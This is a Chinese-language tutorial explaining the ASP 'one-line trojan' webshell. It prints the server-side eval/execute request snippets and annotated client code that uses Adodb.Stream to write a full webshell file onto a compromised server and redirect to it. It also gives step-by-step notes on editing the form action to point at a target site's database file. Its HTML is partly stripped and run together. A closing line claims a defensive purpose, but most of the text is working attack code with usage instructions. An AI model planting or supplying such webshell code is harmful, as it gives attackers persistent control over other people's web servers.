eval一句话木马原理详解<%evalrequest("#")%>来解释下它的原理.首先是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名为#的部分,例如如下摘自一句话客户端的代码:setiP=server.createObject("Adodb.Stream")iP.OpeniP.Type=2iP.CharSet="gb2312"iP.writetextrequest("aoyun")iP.SaveToFileserver.mappath("aoyunwan.asp"),2iP.ClosesetiP=nothingresponse.redirect"aoyunwan.asp"学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:setiP=server.createObject("Adodb.Stream")iP.OpeniP.Type=2iP.CharSet="gb2312"iP.writetextrequest("aoyun")iP.SaveToFileserver.mappath("aoyunwan.asp"),2iP.ClosesetiP=nothingresponse.redirect"aoyunwan.asp"学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的aoyunwan.asp文件中,写入结束后使用setiP=nothing释放Adodb.Stream对象然后使用response.redirect"aoyunwan.asp"转向刚才写入大马代码的文件,也就是我们最后看见的大马了!不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器端创建Adodb.Stream组件,如果该组件被禁用的话是不会写入成功的!二、还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的.============一句话木马"服务端就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%executerequest("value")%>其中value可以自己修改"一句话木马"客户端用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件一句话木马客户端源文件:里面涉及到一些脚本知识,我就只讲解一下功能和简单注释,不详细讲了,大家只要注意几个注意点就行了***********************************************************//"action="后面是需要修改的以asp命名的数据库的提交地址//这个标签的意思是建立一个表单以post方式提交给连接cjy.x激fe.edu/news/ebook/db/ebook.asp处理//这里的value值根据服务端<%executerequest("value")%>中value而设定//可以自行修改成<%executerequest("p")%>相应这里的value值也必须改为psetlP=server.createObject("Adodb.Stream")//建立流对象,有了对象才可以使用它固有的属性和方法lP.Open//打开lP.Type=2//以文本方式lP.CharSet="gb2312"//字体标准lP.writetextrequest("joeving")//取得木马内容参数joeving可以自己定义但必须和下面的name=joeving相对应lP.SaveToFileserver.mappath("wei.asp"),2//将木马内容以覆盖文件的方式写入wei.asp//2就是已覆盖的方式,这里的wei.asp也是可以自己定义的,如定义成1.asp//但和下面的response.redirect"wei.asp"中wei.asp的保持一致lP.Close//关闭对象setlP=nothing//释放对象response.redirect"wei.asp"//转向生成的wei.asp和上面的wei.asp相对应,也就是你熟悉的asp木马登陆界面//这段程序的功能:利用插入到数据库文件的<%executerequest("value")%>这段代码执行第一个textarea中的内容,并将添加的木马内容写入和指向wei.asp,这样就相当于在服务器上建立了个asp木马文件,这样就可以取得webshell了添入生成木马的内容/textarea>//这段标签是你用来添加木马内容用的***********************************************************//程序的主要框架是其实都是些很简单的一些html和asp的知识,大家不妨自己写个自己的木马客户端~~~呵呵当然文章的目的还是要让大家了解这种技术,从而更好的做好安全防范措施